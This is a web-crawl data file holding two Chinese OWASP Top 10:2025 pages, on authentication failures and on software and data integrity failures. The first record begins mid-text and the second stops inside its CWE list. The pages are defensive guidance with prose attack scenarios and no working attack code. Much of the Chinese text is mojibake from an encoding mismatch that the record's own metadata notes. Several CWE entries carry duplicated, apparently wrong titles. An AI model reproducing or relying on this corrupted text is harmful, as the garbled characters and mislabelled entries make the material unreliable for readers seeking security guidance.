ć•ˆçš„ĺ‡­ćŽć˘ĺ¤ĺ’Œĺż˜čŽ°ĺŻ†ç ćľç¨‹ďźŒäž‹ĺŚ‚â€œĺŸşäşŽçŸĽčŻ†çš„ç­”ćĄˆâ€ďźŒčż™çąťć–šĺźć— ćł•ĺšĺˆ°ĺŽ‰ĺ…¨ă€‚\n- ä˝żç”¨ć˜Žć–‡ă€ĺŠ ĺŻ†ćˆ–ĺźąĺ“ˆĺ¸Œçš„ĺŻ†ç ć•°ćŽĺ­˜ĺ‚¨ďźˆĺ‚č§ [A04:2025-ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/))。\n- çźşĺ°‘ĺ¤šĺ› ç´ čŽ¤čŻďźŒćˆ–ĺ¤šĺ› ç´ čŽ¤čŻć— ć•ˆă€‚\n- ĺœ¨ĺ¤šĺ› ç´ čŽ¤čŻä¸ĺŻç”¨ć—śďźŒĺ…čŽ¸ä˝żç”¨ĺźąćˆ–ć— ć•ˆçš„ĺ›žé€€ćœşĺˆśă€‚\n- 在 URLă€éšč—ĺ­—ćŽľćˆ–ĺŽ˘ćˆˇçŤŻĺŻčŽżé—Žçš„ĺ…śäť–ä¸ĺŽ‰ĺ…¨ä˝ç˝Žćš´éœ˛äźščŻć ‡čŻ†çŹŚă€‚\n- ćˆĺŠŸç™ťĺ˝•ĺŽé‡ĺ¤ä˝żç”¨ĺŒä¸€ä¸ŞäźščŻć ‡čŻ†çŹŚă€‚\n- 在登出或一段时间不活动后,没有正确使用户会话或认证令牌(主要是单点登录(SSO)令牌)失效。\n- 没有正确声明所提供凭据的作用域和预期受众。\n\n## 如何预防\n\n- ĺœ¨ĺŻčĄŒć—śďźŒĺŽžçŽ°ĺšśĺźşĺˆśä˝żç”¨ĺ¤šĺ› ç´ čŽ¤čŻďźŒäťĽé˜˛ć­˘č‡ŞĺŠ¨ĺŒ–ĺ‡­ćŽĺĄŤĺ……ă€ćš´ĺŠ›ç ´č§Łĺ’Œč˘Ťç›—ĺ‡­ćŽĺ¤ç”¨ć”ťĺ‡ťă€‚\n- ĺœ¨ĺŻčĄŒć—śďźŒéź“ĺŠąĺšść”ŻćŒä˝żç”¨ĺŻ†ç çŽĄç†ĺ™¨ďźŒĺ¸ŽĺŠŠç”¨ćˆˇĺšĺ‡şć›´ĺĽ˝çš„é€‰ć‹Šă€‚\n- 不要随产品交付或部署任何默认凭据,尤其是管理员用户的默认凭据。\n- ĺŽžć–˝ĺźąĺŻ†ç ćŁ€ćŸĽďźŒäž‹ĺŚ‚ĺ°†ć–°ĺŻ†ç ćˆ–äżŽć”šĺŽçš„ĺŻ†ç ä¸Žćœ€ĺˇŽçš„ĺ‰ 10,000 ä¸ŞĺŻ†ç ĺˆ—čĄ¨ćŻ”ĺŻšă€‚\n- ĺœ¨ĺˆ›ĺťşć–°č´Śćˆˇĺ’ŒäżŽć”šĺŻ†ç ć—śďźŒĺŻšç…§ĺˇ˛çŸĽćł„éœ˛ĺ‡­ćŽĺˆ—čĄ¨čż›čĄŒéŞŒčŻďźˆäž‹ĺŚ‚ä˝żç”¨ [haveibeenpwned.com](https://haveibeenpwned.com))。\n- čŽŠĺŻ†ç é•żĺşŚă€ĺ¤ć‚ĺşŚĺ’Œč˝Žć˘ç­–ç•ĽçŹŚĺˆ [National Institute of Standards and Technology (NIST) 800-63b 珏 5.1.1 节](https://pages.nist.gov/800-63-3/sp800-63b.html#:~:text=5.1.1%20Memorized%20Secrets)ä¸­ĺ…łäşŽčŽ°ĺż†ĺŻ†é’Ľçš„ćŒ‡ĺ—ďźŒćˆ–ĺ…śäť–çŽ°äťŁă€ĺŸşäşŽčŻćŽçš„ĺŻ†ç ç­–ç•Ľă€‚\n- é™¤éžć€€ç–‘ĺˇ˛ĺ‘ç”Ÿćł„éœ˛ďźŒä¸čŚĺźşčżŤç”¨ćˆˇĺŽšćœŸč˝Žć˘ĺŻ†ç ă€‚ĺŚ‚ćžœć€€ç–‘ĺ‘ç”Ÿćł„éœ˛ďźŒĺş”çŤ‹ĺłĺźşĺˆśé‡ç˝ŽĺŻ†ç ă€‚\n- 确保注册、凭据恢复和 API čˇŻĺž„é€ščż‡ĺŻšć‰€ćœ‰çť“ćžœä˝żç”¨ç›¸ĺŒćśˆćŻćĽé˜˛ć­˘č´Śćˆˇćžšä¸žć”ťĺ‡ťďźˆäž‹ĺŚ‚â€œç”¨ćˆˇĺćˆ–ĺŻ†ç ć— ć•ˆă€‚â€ďź‰ă€‚\n- é™ĺˆśĺ¤ąč´Ľç™ťĺ˝•ĺ°čŻ•ćˆ–é€ć­Ľĺ˘žĺŠ ĺťśčżŸďźŒä˝†ćł¨ć„ä¸čŚé€ ćˆć‹’çťćœĺŠĄă€‚čŽ°ĺ˝•ć‰€ćœ‰ĺ¤ąč´ĽďźŒĺšśĺœ¨ćŁ€ćľ‹ĺˆ°ćˆ–ć€€ç–‘ĺ‡­ćŽĺĄŤĺ……ă€ćš´ĺŠ›ç ´č§Łćˆ–ĺ…śäť–ć”ťĺ‡ťć—śĺ‘Šč­ŚçŽĄç†ĺ‘˜ă€‚\n- 使用服务端、安全、内置的会话管理器,在登录后生成新的高熵随机会话 IDă€‚äźščŻć ‡čŻ†çŹŚä¸ĺş”ĺ‡şçŽ°ĺœ¨ URL 中,应安全地存储在安全 cookie 中,并在登出、空闲超时和绝对超时后失效。\n- ç†ćƒłćƒ…ĺ†ľä¸‹ďźŒä˝żç”¨é˘„ĺˆśă€ĺŻäżĄçš„çłťçťŸĺ¤„ç†čŽ¤čŻă€čşŤäť˝ĺ’ŒäźščŻçŽĄç†ă€‚ĺ°˝ĺŻčƒ˝é€ščż‡é‡‡č´­ĺ’Œä˝żç”¨çťčż‡ĺŠ ĺ›şä¸”ĺ……ĺˆ†ćľ‹čŻ•çš„çłťçťŸćĽč˝Źç§ťć­¤éŁŽé™Šă€‚\n- 验证所提供凭据的预期用途,例如对 JWT 验证 `aud`、`iss` 声明和作用域。\n\n## 攻击场景示例\n\n**场景 #1:** ĺ‡­ćŽĺĄŤĺ……ďźŒĺłä˝żç”¨ĺˇ˛çŸĽç”¨ćˆˇĺĺ’ŒĺŻ†ç çť„ĺˆĺˆ—čĄ¨ďźŒĺˇ˛çťć˜Żéžĺ¸¸ĺ¸¸č§çš„ć”ťĺ‡ťă€‚čż‘ćœŸĺ‘çŽ°ć”ťĺ‡ťč€…äźšĺŸşäşŽäşşçąťĺ¸¸č§čĄŒä¸şâ€œé€’ĺ˘žâ€ćˆ–č°ƒć•´ĺŻ†ç ă€‚äž‹ĺŚ‚ďźŒćŠŠ `Winter2025` 改成 `Winter2026`,或把 `ILoveMyDog6` 改成 `ILoveMyDog7` 或 `ILoveMyDog5`ă€‚čż™ç§č°ƒć•´ĺŻ†ç ĺ°čŻ•çš„ć–šĺźč˘Ťç§°ä¸şćˇˇĺˆĺ‡­ćŽĺĄŤĺ……ć”ťĺ‡ťćˆ–ĺŻ†ç ĺ–ˇć´’ć”ťĺ‡ťďźŒć•ˆćžœç”šč‡łĺŻčƒ˝čś…čż‡äź çťŸç‰ˆćœŹă€‚ĺŚ‚ćžœĺş”ç”¨ć˛Ąćœ‰é’ˆĺŻšč‡ŞĺŠ¨ĺŒ–ĺ¨čƒďźˆćš´ĺŠ›ç ´č§Łă€č„šćœŹćˆ–ćœşĺ™¨äşşďź‰ćˆ–ĺ‡­ćŽĺĄŤĺ……ĺŽžć–˝é˜˛ćŠ¤ďźŒčŻĽĺş”ç”¨ĺ°ąĺŻčƒ˝č˘Ťç”¨ä˝œĺŻ†ç é˘„č¨€ćœşďźŒç”¨äşŽĺˆ¤ć–­ĺ‡­ćŽć˜ŻĺŚćœ‰ć•ˆĺšśčŽˇĺ–ćœŞçťćŽˆćƒçš„čŽżé—Žă€‚\n\n**场景 #2:** ĺ¤§ĺ¤šć•°ćˆĺŠŸçš„čŽ¤čŻć”ťĺ‡ťéƒ˝ćşäşŽçť§çť­ćŠŠĺŻ†ç ä˝œä¸şĺ”Żä¸€čŽ¤čŻĺ› ç´ ă€‚ć›žçťč˘Ťč§†ä¸şćœ€ä˝łĺŽžčˇľçš„ĺŻ†ç č˝Žć˘ĺ’Œĺ¤ć‚ĺşŚčŚćą‚ďźŒäźšéź“ĺŠąç”¨ćˆˇĺ¤ç”¨ĺŻ†ç ĺšśä˝żç”¨ĺźąĺŻ†ç ă€‚ć šćŽ NIST 800-63ďźŒĺťşčŽŽçť„çť‡ĺœć­˘čż™äş›ĺšćł•ďźŒĺšśĺœ¨ć‰€ćœ‰é‡čŚçłťçťŸä¸Šĺźşĺˆśä˝żç”¨ĺ¤šĺ› ç´ čŽ¤čŻă€‚\n\n**场景 #3:** ĺş”ç”¨äźščŻčś…ć—śĺŽžçŽ°ä¸ć­ŁçĄŽă€‚ç”¨ćˆˇä˝żç”¨ĺ…Źĺ…ąčŽĄçŽ—ćœşčŽżé—Žĺş”ç”¨ďźŒä˝†ć˛Ąćœ‰é€‰ć‹Šâ€œç™ťĺ‡şâ€ďźŒĺŞć˜Żĺ…łé—­ćľč§ˆĺ™¨ć ‡ç­žéĄľĺ°ąçŚťĺź€ă€‚ĺŚä¸€ä¸Şäž‹ĺ­ć˜ŻďźŒĺŚ‚ćžœĺ•ç‚šç™ťĺ˝•ďźˆSSOďź‰äźščŻć— ćł•é€ščż‡ĺ•ç‚šç™ťĺ‡şďźˆSLOďź‰ĺ…łé—­ďźŒäšŸäźšäş§ç”Ÿé—Žé˘˜ă€‚äšŸĺ°ąć˜ŻčŻ´ďźŒä¸€ćŹĄç™ťĺ˝•äźščŽŠä˝ čż›ĺ…Ľé‚Žäťśé˜…čŻťĺ™¨ă€ć–‡ćĄŁçłťçťŸĺ’ŒčŠĺ¤ŠçłťçťŸç­‰ĺ¤šä¸ŞçłťçťŸă€‚ä˝†ç™ťĺ‡şĺŞĺ‘ç”Ÿĺœ¨ĺ˝“ĺ‰çłťçťŸă€‚ĺŚ‚ćžœć”ťĺ‡ťč€…ĺœ¨ĺ—ĺŽłč€…äťĽä¸şč‡Şĺˇąĺˇ˛ćˆĺŠŸç™ťĺ‡şĺŽä˝żç”¨ĺŒä¸€ä¸Şćľč§ˆĺ™¨ďźŒč€Œç”¨ćˆˇäťĺœ¨ćŸäş›ĺş”ç”¨ä¸­äżćŒčŽ¤čŻçŠść€ďźŒć”ťĺ‡ťč€…ĺ°ąčƒ˝čŽżé—Žĺ—ĺŽłč€…č´Śćˆˇă€‚ĺŒć ˇé—Žé˘˜äšŸĺŻčƒ˝ĺ‘ç”Ÿĺœ¨ĺŠžĺ…ŹĺŽ¤ĺ’Œäźä¸šçŽŻĺ˘ƒä¸­ďźšć•ć„Ÿĺş”ç”¨ć˛Ąćœ‰ć­ŁçĄŽé€€ĺ‡şďźŒč€ŒĺŒäş‹ä¸´ć—śćŽĽč§Śĺˆ°äş†ćœŞé”ĺŽšçš„ç”ľč„‘ă€‚\n\n## 参考资料\n\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/stable-en/01-introduction/05-introduction)\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-258 é…ç˝Žć–‡äťśä¸­ĺ­˜ĺœ¨çŠşĺŻ†ç ](https://cwe.mitre.org/data/definitions/258.html)\n- [CWE-259 ä˝żç”¨çĄŹçź–ç ĺŻ†ç ](https://cwe.mitre.org/data/definitions/259.html)\n- [CWE-287 认证不当](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-288 使用替代路径或通道绕过认证](https://cwe.mitre.org/data/definitions/288.html)\n- [CWE-289 通过替代名称绕过认证](https://cwe.mitre.org/data/definitions/289.html)\n- [CWE-290 通过欺骗绕过认证](https://cwe.mitre.org/data/definitions/290.html)\n- [CWE-291 依赖 IP 地址进行认证](https://cwe.mitre.org/data/definitions/291.html)\n- [CWE-293 使用 `Referer` 字段进行认证](https://cwe.mitre.org/data/definitions/293.html)\n- [CWE-294 通过捕获重放绕过认证](https://cwe.mitre.org/data/definitions/294.html)\n- [CWE-295 证书验证不当](https://cwe.mitre.org/data/definitions/295.html)\n- [CWE-297 证书主机不匹配验证不当](https://cwe.mitre.org/data/definitions/297.html)\n- [CWE-298 证书主机不匹配验证不当](https://cwe.mitre.org/data/definitions/298.html)\n- [CWE-299 证书主机不匹配验证不当](https://cwe.mitre.org/data/definitions/299.html)\n- [CWE-300 通道可被非端点访问](https://cwe.mitre.org/data/definitions/300.html)\n- [CWE-302 通过假定不可变数据绕过认证](https://cwe.mitre.org/data/definitions/302.html)\n- [CWE-303 认证算法实现错误](https://cwe.mitre.org/data/definitions/303.html)\n- [CWE-304 认证中缺少关键步骤](https://cwe.mitre.org/data/definitions/304.html)\n- [CWE-305 通过主要弱点绕过认证](https://cwe.mitre.org/data/definitions/305.html)\n- [CWE-306 关键功能缺少认证](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-307 对过多认证尝试限制不当](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-308 ä˝żç”¨ĺ•ĺ› ç´ čŽ¤čŻ](https://cwe.mitre.org/data/definitions/308.html)\n- [CWE-309 ä˝żç”¨ĺŻ†ç çłťçťŸä˝œä¸şä¸ťčŽ¤čŻć–šĺź](https://cwe.mitre.org/data/definitions/309.html)\n- [CWE-346 来源验证错误](https://cwe.mitre.org/data/definitions/346.html)\n- [CWE-350 安全关键操作依赖反向 DNS 解析](https://cwe.mitre.org/data/definitions/350.html)\n- [CWE-384 会话固定](https://cwe.mitre.org/data/definitions/384.html)\n- [CWE-521 ĺźąĺŻ†ç čŚćą‚](https://cwe.mitre.org/data/definitions/521.html)\n- [CWE-613 会话过期不足](https://cwe.mitre.org/data/definitions/613.html)\n- [CWE-620 ĺŻ†ç ĺ˜ć›´ćœŞéŞŒčŻ](https://cwe.mitre.org/data/definitions/620.html)\n- [CWE-640 ĺż˜čŽ°ĺŻ†ç ć˘ĺ¤ćœşĺˆśč–„ĺźą](https://cwe.mitre.org/data/definitions/640.html)\n- [CWE-798 ä˝żç”¨çĄŹçź–ç ĺ‡­ćŽ](https://cwe.mitre.org/data/definitions/798.html)\n- [CWE-940 通信通道来源验证不当](https://cwe.mitre.org/data/definitions/940.html)\n- [CWE-941 é€šäżĄé€šé“ç›Žć ‡ćŒ‡ĺŽšé”™čŻŻ](https://cwe.mitre.org/data/definitions/941.html)\n- [CWE-1390 培莤证](https://cwe.mitre.org/data/definitions/1390.html)\n- [CWE-1391 使用弱凭据](https://cwe.mitre.org/data/definitions/1391.html)\n- [CWE-1392 使用默认凭据](https://cwe.mitre.org/data/definitions/1392.html)\n- [CWE-1393 ä˝żç”¨éť˜čŽ¤ĺŻ†ç ](https://cwe.mitre.org/data/definitions/1393.html)", "znaku_textu": 9219, "slov": 424, "odkazu": 76, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:25", "sha256": "30f83163d787db2d082e305127c471ff22bf5718ff00eb17ba58bae2f88fa820", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://haveibeenpwned.com/", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/258.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/289.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/291.html", "https://cwe.mitre.org/data/definitions/293.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/298.html", "https://cwe.mitre.org/data/definitions/299.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/303.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/305.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/308.html", "https://cwe.mitre.org/data/definitions/309.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/350.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/941.html", "https://cwe.mitre.org/data/definitions/1390.html", "https://cwe.mitre.org/data/definitions/1391.html", "https://cwe.mitre.org/data/definitions/1392.html", "https://cwe.mitre.org/data/definitions/1393.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A08_2025-Software_or_Data_Integrity_Failures/", "titulek": "A08 软件或数据完整性失效 - OWASP Top 10:2025", "h1": "A08:2025 软件或数据完整性失效", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A08_2025-Software_or_Data_Integrity_Failures/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2025 软件或数据完整性失效"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A08:2025 软件或数据完整性失效\n\n## 背景\n\n软件或数据完整性失效继续位列第 8,名称从“Software *and* Data Integrity Failuresâ€ç•Ľä˝œćž„ć¸…ć€§č°ƒć•´ă€‚čŻĽçąťĺˆŤĺ…łćł¨ĺœ¨ćŻ”č˝Żäťśäž›ĺş”é“žĺ¤ąć•ˆć›´ä˝Žä¸€ĺą‚çš„ä˝ç˝ŽďźŒćœŞčƒ˝çť´ćŠ¤äżĄäťťčžšç•ŒĺšśéŞŒčŻč˝Żäťśă€äťŁç ĺ’Œć•°ćŽĺˇĽäťśĺŽŒć•´ć€§çš„é—Žé˘˜ă€‚čŻĽçąťĺˆŤĺ…łćł¨ĺœ¨ć˛Ąćœ‰éŞŒčŻĺŽŒć•´ć€§çš„ćƒ…ĺ†ľä¸‹ďźŒĺŻšč˝Żäťść›´ć–°ĺ’Œĺ…łé”Žć•°ćŽä˝œĺ‡şĺ‡čŽžă€‚ĺ€źĺž—ĺ…łćł¨çš„é€šç”¨ĺźąç‚šćžšä¸žďźˆCWE)包括 *CWE-829:从不可信控制范围引入功能*、*CWE-915:对动态确定对象属性的修改控制不当* 和 *CWE-502:反序列化不可信数据*。\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 8.98% | 2.75% | 78.52% | 45.49% | 7.11 | 4.79 | 501,327 | 3,331 |\n\n## 描述\n\nč˝Żäťśĺ’Œć•°ćŽĺŽŒć•´ć€§ĺ¤ąć•ˆä¸ŽćœŞčƒ˝é˜˛ć­˘ć— ć•ˆćˆ–ä¸ĺŻäżĄäťŁç ćˆ–ć•°ćŽč˘Ťĺ˝“ä˝œĺŻäżĄĺ’Œćœ‰ć•ˆĺ†…ĺŽšĺ¤„ç†çš„äťŁç ĺŠĺŸşçĄ€čŽžć–˝ćœ‰ĺ…łă€‚ä¸€ä¸Şäž‹ĺ­ć˜Żĺş”ç”¨äžčľ–ćĽč‡Şä¸ĺŻäżĄćĽćşă€äť“ĺş“ĺ’Œĺ†…ĺŽšĺˆ†ĺ‘ç˝‘çťœďźˆCDN)的插件、库或模块。缺少消费和提供软件完整性检查的不安全 CI/CD ćľć°´çşżďźŒĺŻčƒ˝ĺź•ĺ…ĽćœŞçťćŽˆćƒčŽżé—Žă€ä¸ĺŽ‰ĺ…¨ćˆ–ćść„äťŁç ă€çłťçťŸč˘Ťć”ťé™ˇç­‰éŁŽé™Šă€‚ĺŚä¸€ä¸Şäž‹ĺ­ć˜Ż CI/CD äťŽä¸ĺŻäżĄä˝ç˝Žć‹‰ĺ–äťŁç ćˆ–ĺˇĽäťśďźŒćˆ–č€…ĺœ¨ä˝żç”¨ĺ‰ć˛Ąćœ‰é€ščż‡ç­žĺćŁ€ćŸĽćˆ–çąťäźźćœşĺˆśéŞŒčŻĺŽƒäťŹă€‚ćœ€ĺŽďźŒčŽ¸ĺ¤šĺş”ç”¨çŽ°ĺœ¨ĺŒ…ĺŤč‡ŞĺŠ¨ć›´ć–°ĺŠŸčƒ˝ďźŒäźšĺœ¨çźşĺ°‘ĺ……ĺˆ†ĺŽŒć•´ć€§éŞŒčŻçš„ćƒ…ĺ†ľä¸‹ä¸‹č˝˝ć›´ć–°ďźŒĺšśĺş”ç”¨ĺˆ°ć­¤ĺ‰ĺ—äżĄäťťçš„ĺş”ç”¨ä¸Šă€‚ć”ťĺ‡ťč€…ĺŻčƒ˝ä¸Šäź č‡Şĺˇąçš„ć›´ć–°ďźŒä˝żĺ…śč˘Ťĺˆ†ĺ‘ĺšśĺœ¨ć‰€ćœ‰ĺŽ‰čŁ…ĺŽžäž‹ä¸ŠčżčĄŒă€‚čż˜ćœ‰ä¸€ç§äž‹ĺ­ć˜ŻďźŒĺŻščąĄćˆ–ć•°ćŽč˘Ťçź–ç ćˆ–ĺşĺˆ—ĺŒ–ä¸şć”ťĺ‡ťč€…ĺŻč§ä¸”ĺŻäżŽć”šçš„çť“ćž„ďźŒäťŽč€ŒĺŽšć˜“ĺ—ĺˆ°ä¸ĺŽ‰ĺ…¨ĺĺşĺˆ—ĺŒ–ć”ťĺ‡ťă€‚\n\n## 如何预防\n\n- 使用数字签名或类似机制验证软件或数据来自预期来源,且没有被修改。\n- 确保 npm 或 Maven ç­‰ĺş“ĺ’Œäžčľ–ĺŞä˝żç”¨ĺŻäżĄäť“ĺş“ă€‚ĺŚ‚ćžœéŁŽé™ŠčžƒéŤ˜ďźŒč€ƒč™‘ć‰˜çŽĄĺ†…éƒ¨çš„ă€çťčż‡ĺŽĄć ¸çš„ĺˇ˛çŸĽč‰ŻĺĽ˝äť“ĺş“ă€‚\n- çĄŽäżäťŁç ĺ’Œé…ç˝Žĺ˜ć›´ćœ‰ĺŽĄćŸĽćľç¨‹ďźŒäťĽé™ä˝Žćść„äťŁç ćˆ–é…ç˝Žč˘Ťĺź•ĺ…Ľč˝Żäťśćľć°´çşżçš„ĺŻčƒ˝ć€§ă€‚\n- 确保 CI/CD ćľć°´çşżĺ…ˇĺ¤‡é€‚ĺ˝“éš”çŚťă€é…ç˝Žĺ’ŒčŽżé—ŽćŽ§ĺˆśďźŒäťĽäżéšœćľçťćž„ĺťşĺ’Œéƒ¨ç˝˛ćľç¨‹çš„äťŁç ĺŽŒć•´ć€§ă€‚\n- çĄŽäżä¸äźšäťŽä¸ĺŻäżĄĺŽ˘ćˆˇçŤŻćŽĽć”śćœŞç­žĺćˆ–ćœŞĺŠ ĺŻ†çš„ĺşĺˆ—ĺŒ–ć•°ćŽďźŒĺšśĺœ¨ć˛Ąćœ‰ćŸç§ĺŽŒć•´ć€§ćŁ€ćŸĽćˆ–ć•°ĺ­—ç­žĺćĽćŁ€ćľ‹çŻĄć”šćˆ–é‡ć”žçš„ćƒ…ĺ†ľä¸‹çť§çť­ä˝żç”¨ă€‚\n\n## 攻击场景示例\n\n**场景 #1 来自不可信来源的 Web 功能引入:** 某公司使用外部服务提供商提供支持功能。为了方便,它将 `myCompany.SupportProvider.com` DNS ć˜ ĺ°„ĺˆ° `support.myCompany.com`。这意味着所有设置在 `myCompany.com` 域上的 cookie,包括认证 cookie,现在都会被发送给该支持提供商。任何能访问支持提供商基础设施的人,都可以窃取访问过 `support.myCompany.com` 的所有用户的 cookie,并执行会话劫持攻击。\n\n**场景 #2 未签名更新:** čŽ¸ĺ¤šĺŽśç”¨čˇŻç”ąĺ™¨ă€ćœşéĄśç›’ă€čŽžĺ¤‡ĺ›şäťśç­‰ä¸äźšé€ščż‡ç­žĺĺ›şäťśéŞŒčŻć›´ć–°ă€‚ćœŞç­žĺĺ›şäťść­Łćˆä¸şć”ťĺ‡ťč€…čśŠćĽčśŠĺ…łćł¨çš„ç›Žć ‡ďźŒč€Œä¸”é˘„čŽĄĺŞäźšć›´çłŸă€‚čż™ć˜Żé‡ĺ¤§é—Žé˘˜ďźŒĺ› ä¸şčŽ¸ĺ¤šć—śĺ€™é™¤äş†ĺœ¨ćœŞćĽç‰ˆćœŹä¸­äżŽĺ¤ĺšśç­‰ĺž…ć—§ç‰ˆćœŹč‡Şç„śćˇ˜ćą°ĺ¤–ďźŒć˛Ąćœ‰ĺ…śäť–äżŽĺ¤ćœşĺˆśă€‚\n\n**场景 #3 使用来自不可信来源的软件包:** ĺź€ĺ‘äşşĺ‘˜éšžäťĽć‰žĺˆ°ć‰€éœ€č˝ŻäťśĺŒ…çš„ć›´ć–°ç‰ˆćœŹďźŒäşŽć˜Żć˛Ąćœ‰äťŽĺ¸¸č§„ă€ĺŻäżĄçš„č˝ŻäťśĺŒ…çŽĄç†ĺ™¨ä¸‹č˝˝ďźŒč€Œć˜ŻäťŽç˝‘ä¸ŠćŸä¸Şç˝‘çŤ™ä¸‹č˝˝ă€‚čŻĽč˝ŻäťśĺŒ…ćœŞç­žĺďźŒĺ› ć­¤ć— ćł•çĄŽäżĺŽŒć•´ć€§ă€‚č˝ŻäťśĺŒ…ä¸­ĺŒ…ĺŤćść„äťŁç ă€‚\n\n**场景 #4 不安全反序列化:** 一个 React 应用调用一组 Spring Boot ĺžŽćœĺŠĄă€‚ä˝œä¸şĺ‡˝ć•°ĺźç¨‹ĺşĺ‘˜ďźŒĺź€ĺ‘č€…čŻ•ĺ›žçĄŽäżäťŁç ä¸ĺŻĺ˜ă€‚äť–äťŹćƒłĺˆ°çš„ć–šćĄˆć˜Żĺşĺˆ—ĺŒ–ç”¨ćˆˇçŠść€ďźŒĺšśĺœ¨ćŻä¸ŞčŻˇćą‚ä¸­ćĽĺ›žäź é€’ă€‚ć”ťĺ‡ťč€…ćł¨ć„ĺˆ° `rO0` Java 对象签名(base64 çź–ç ďź‰ďźŒĺšśä˝żç”¨ [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) ĺœ¨ĺş”ç”¨ćœĺŠĄĺ™¨ä¸ŠčŽˇĺž—čżœç¨‹äťŁç ć‰§čĄŒă€‚\n\n## 参考资料\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)\n- [Insecure Deserialization by Tenendo](https://tenendo.com/insecure-deserialization/)\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-345 数据真实性验证不足](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-353 缺少完整性检查支持](https://cwe.mitre.org/data/definitions/353.html)\n- [CWE-426 不可信搜索路径](https://cwe.mitre.org/data/definitions/426.html)\n- [CWE-427 ćœç´˘čˇŻĺž„ĺ…ƒç´ ä¸ĺ—ćŽ§ĺˆś](https://cwe.mitre.org/data/definitions/427.html)\n- [CWE-494 ä¸‹č˝˝äťŁç ć—śćœŞčż›čĄŒĺŽŒć•´ć€§ćŁ€ćŸĽ](https://cwe.mitre.org/data/definitions/494.html)\n- [CWE-502 反序列化不可信数据](https://cwe.mitre.org/data/definitions/502.html)\n- [CWE-506 ĺľŒĺ…Ľćść„äťŁç ](https://cwe.mitre.org/data/definitions/506.html)\n- [CWE-509 ĺ¤ĺˆśćść„äťŁç ďźˆç—…ćŻ’ćˆ–č •č™Ťďź‰](https://cwe.mitre.org/data/definitions/509.html)\n- [CWE-565 依赖未经验证和完整性检查的 Cookie](https://cwe.mitre.org/data/definitions/565.html)\n- [CWE-784 安全决策中依赖未经验证和完整性检查的 Cookie](https://cwe.mitre.org/data/definitions/784.html)\n- [CWE-829 从不可信控制范围引入功能](https://cwe.mitre.org/data/definitions/829.html)\n- [CWE-830 从不可信来源引入网页功能](https://cwe.mitre.org/data/definitions/830.html)\n- 